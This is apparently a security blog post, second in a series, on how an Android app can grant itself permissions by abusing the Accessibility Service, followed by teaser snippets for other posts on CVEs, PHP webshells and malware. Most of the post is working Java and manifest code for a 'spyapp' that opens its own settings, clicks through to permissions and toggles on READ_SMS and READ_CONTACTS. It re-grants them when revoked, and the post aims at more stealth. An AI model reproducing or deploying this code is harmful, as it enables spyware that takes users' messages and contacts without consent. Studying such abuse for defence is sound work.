Exploiting CVE-2024-27096
Intro A few weeks ago, I discovered during an intrusion test two vulnerabilities affecting GLPI 10.0.12, that was the latest public version at this time. The...
~$ cat How_an_Android_app_could_escalate_its_privileges_Part2.txt
In the fist part, I presented Accessibility Service and how an attacker could use it to force some actions, and get more privileges. In this second part, we’ll see a similar example, which could work on different devices. The goal here is not the allow our app to install packages coming from an unknown source, but is only to obtain the READ_SMS and READ_CONTACTS permissions. The major difference is the way the malicious app will open and browse through the Settings. In the previous example, the path was hard-coded, which was not a really good thing. Here, the principle is to open immediately the panel of settings of the running malicious app, and to obtain permissions. On many devices, it will work in this way, whereas the setting “Allow installation from unknown source” could be hidden God knows where.
Here, we assume that the language is English, and an item will have the label “Permissions” or something like that:
First thing to do is to add relevant permissions, and register the service in the Manifest:
<manifest xmlns:android="http://schemas.android.com/apk/res/android" package="xyz.noname.spyapp"> <uses-permission android:name="android.permission.READ_SMS"/> <uses-permission android:name="android.permission.READ_CONTACTS"/> <application ... > <activity android:name=".activities.MainActivity"> <intent-filter> <action android:name="android.intent.action.MAIN" /> <category android:name="android.intent.category.LAUNCHER" /> </intent-filter> </activity> <service android:name=".services.PermissionsService" android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE"> <intent-filter> <action android:name="android.accessibilityservice.AccessibilityService"/> </intent-filter> <meta-data android:name="android.accessibilityservice" android:resource="@xml/accessibility_config"/> </service> </application> </manifest>
And in accessibility_config.xml
I added the package com.google.android.packageinstaller
, dealing with permissions:
<?xml version="1.0" encoding="utf-8"?> <accessibility-service xmlns:android="http://schemas.android.com/apk/res/android" android:accessibilityEventTypes="typeWindowContentChanged" android:packageNames="xyz.noname.spyapp, com.android.settings, com.google.android.packageinstaller" android:accessibilityFeedbackType="feedbackAllMask" android:notificationTimeout="100" android:canRetrieveWindowContent="true"/>
At run time, it’s necessary to check if a permission has been granted or not. To do this, I wrote the routine Util.checkPermissions
, returning true
if
all permissions requested in the Manifest are granted (except the one for the Accessibility Service itself).
public static boolean checkPermissions(Context context) { PackageManager manager = context.getPackageManager(); PackageInfo info = null; try { info = context.getPackageManager().getPackageInfo(context.getPackageName(), PackageManager.GET_PERMISSIONS); } catch (PackageManager.NameNotFoundException e) { e.printStackTrace(); } if (info!=null) { for (String perm : info.requestedPermissions) { if (PackageManager.PERMISSION_GRANTED != manager.checkPermission(perm, manager.getNameForUid(Binder.getCallingUid()))) { return false; } } } return true; }
The view contains only a simple TextView
, with the message Permissions denied
or Permissions granted
. The routine isAccessibilityServiceOn
is the same
as previously, and inspired by this solution
public class MainActivity extends Activity { private static final String NOT_ALLOWED = "Permissions denied"; private static final String ALLOWED = "Permissions granted"; private TextView text; private boolean isAccessibilityServiceOn() { <snipped/> } @Override protected void onResume() { super.onResume(); if (this.text != null) { text.setText(Util.checkPermissions(this) ? ALLOWED : NOT_ALLOWED ); } } @Override protected void onCreate(@Nullable Bundle savedInstanceState) { super.onCreate(savedInstanceState); LinearLayout layout = (LinearLayout) LinearLayout.inflate(this, R.layout.activity_main, null); text = layout.findViewById(R.id.text); boolean allowed = Util.checkPermissions(this); text.setText(allowed ? ALLOWED : NOT_ALLOWED ); if (!allowed && isAccessibilityServiceOn()){ Intent intent = new Intent(); intent.setAction(Settings.ACTION_APPLICATION_DETAILS_SETTINGS); Uri uri = Uri.fromParts("package", getPackageName(), null); intent.setData(uri); startActivity(intent); } setContentView(layout); } }
As you can see, we first check if permissions have been granted, and if it’s not the case, the Settings for THIS application are open.
PermissionsService
Once the settings panel open, we look for the item with a name like perm
. Here, we do not need a stack, since only one click is necessary
to reach the panel with the toggle buttons allowing the app to obtain permissions. Here, I used a Boolean object (not a primitive, because if wanted to be able
to set it to null
)
However, in this case, we have to deal with 3 packages.
clickPerm
.The routine onAccessibilityEvent
is then as follows ( sleep
does only a call to Thread.sleep(250)
, and clickPerms
is the global Boolean):
@Override public void onAccessibilityEvent(AccessibilityEvent accessibilityEvent) { switch (accessibilityEvent.getPackageName().toString()){ case BuildConfig.APPLICATION_ID: if (clickPerms == null){ clickPerms = Boolean.FALSE; } break; case Constants.PACKAGE_SETTINGS: if (Util.checkPermissions(getApplicationContext()))return; if (clickPerms != null){ AccessibilityNodeInfo info = accessibilityEvent.getSource(); if (info != null && !this.clickPerms) { if (lookForPermissionsPanel(info)){ this.clickPerms = true; } } } break; case Constants.PACKAGE_INSTALLER: if (Util.checkPermissions(getApplicationContext()))return; if (this.clickPerms != null && this.clickPerms){ AccessibilityNodeInfo info = accessibilityEvent.getSource(); if (info != null) { enablePermissions(info); if (Util.checkPermissions(getApplicationContext())){ for(int i = 0; i < 2; i++){ performGlobalAction(GLOBAL_ACTION_BACK); sleep(); } this.clickPerms = null; } } } break; } }
The first step is then to click on the item “Permissions”, and it’s done by the routine lookForPermissionsPanel
. It recursively scans the view and looks for the
string “perm”. Once found, the item is clicked and the routine returns true
:
private boolean lookForPermissionsPanel(AccessibilityNodeInfo info) { if (info == null) return false; for (int c = 0; c < info.getChildCount(); c++){ if (lookForPermissionsPanel(info.getChild(c))) { return true; } } if (info.getText() != null){ String text = info.getText().toString().toLowerCase(); if (!this.clickPerms && text.contains("perm")){ AccessibilityNodeInfo parent = info.getParent(); if (!info.isClickable()){ while(parent != null && !parent.isClickable()){ parent = parent.getParent(); } if (parent != null){ parent.performAction(AccessibilityNodeInfo.ACTION_CLICK); return true; } } else{ info.performAction(AccessibilityNodeInfo.ACTION_CLICK); return true; } } } return false; }
The Boolean clickPerms
is then set to true
at the end, and the last step begins. As I said, it’s done by packageinstaller
, and follows the same
principle. The view is recursively scanned, but there is no return value, because we want to toggle all buttons from OFF to ON:
private void enablePermissions(AccessibilityNodeInfo info){ if (info == null) return; for (int c = 0; c < info.getChildCount(); c++){ enablePermissions(info.getChild(c)); } if (info.getClassName().toString().equals(Switch.class.getCanonicalName())){ if (info.isCheckable() && !info.isChecked()){ info.getParent().performAction(AccessibilityNodeInfo.ACTION_CLICK); sleep(); } } }
If the user removes permissions (1 or more), the app will detect it and retry to obtain them again.
This version is probably better than the previous one since the app could work on different devices. However, in future versions, some details will have to be fixed.
For example, use performGlobalAction(GLOBAL_ACTION_BACK)
is probably not the best way to go back to the app. Moreover, to improve the stealthiness, we will
have to find a way to hide the call to Settings.
Intro A few weeks ago, I discovered during an intrusion test two vulnerabilities affecting GLPI 10.0.12, that was the latest public version at this time. The...
I was recently tasked with auditing the application GLPI, a few days after its latest release (10.0.12 at the time of writing). The latter stands for Gestion...
I won’t insult you by explaining once again what JSON Web Tokens (JWTs) are, and how to attack them. A plethora of awesome articles exists on the Web, descri...
A few days ago, I published a blog post about PHP webshells, ending with a discussion about filters evasion by getting rid of the pattern $_. The latter is c...
A few thoughts about PHP webshells …
I remember this carpet, at the entrance of the Computer Science faculty, with this message There’s no place like 127.0.0.1/8. A joke that would create two ca...
TL;DR A few experiments about mixed managed/unmanaged assemblies. To begin with, we start by presenting a C# programme that hides a part of its payload in an...
It was a sunny and warm summer afternoon, and while normal people would rush to the beach, I decided to devote myself to one of my favourite activities: suff...
The reader should first take a look at the articles related to CVE-2023-3032 and CVE-2023-3033 that I published a few days ago to get more context.
This walkthrough presents another vulnerability discovered on the Mobatime web application (see CVE-2023-3032, same version 06.7.2022 affected). This vulnera...
Mobatime offers various time-related products, such as check-in solutions. In versions up to 06.7.2022, an arbitrary file upload allowed an authenticated use...
King-Avis is a Prestashop module developed by Webbax. In versions older than 17.3.15, the latter suffers from an authenticated path traversal, leading to loc...
Let’s render unto Caesar the things that are Caesar’s, the exploit FuckFastCGI is not mine and is a brilliant one, bypassing open_basedir and disable_functio...
I have to admit, PHP is not my favourite, but such powerful language sometimes really amazes me. Two days ago, I found a bypass of the directive open_basedir...
PHP is a really powerful language, and as a wise man once said, with great power comes great responsibilities. There is nothing more frustrating than obtaini...
A few weeks ago, a good friend of mine asked me if it was possible to create such a program, as it could modify itself. After some thoughts, I answered that ...
In the previous article, I described how I wrote a simple polymorphic program. “Polymorphic” means that the program (the binary) changes its appearance every...
The malware presented in this blog post appeared on Google Play in 2016. I heard about it thanks to this article published on checkpoint.com. The malicious a...
Ransomwares are really interesting malwares because of their very specific purpose. Indeed, a ransomware will not necessarily try to be stealth or persistent...
A few days ago, I found this article about a malware targeting Sberbank, a big Russian bank. The app disguises itself as a web application, stealing in backg...
RuMMS is a malware targetting Russian users, distributed via websites as a file named mms.apk [1]. This article is inspired by this analysis made by FireEye ...
Could a 5-classes Android app be so harmful ? dsencrypt says “yes”…
~$ cat How_an_Android_app_could_escalate_its_privileges_Part4.txt
~$ cat How_an_Android_app_could_escalate_its_privileges_Part3.txt
~$ cat How_an_Android_app_could_escalate_its_privileges_Part2.txt
~$ cat How_an_Android_app_could_escalate_its_privileges.txt
Even if the thesis introduces the extensions internals, and analyses the difference between mobile and desktop browsers in terms of likelihood, efficiency an...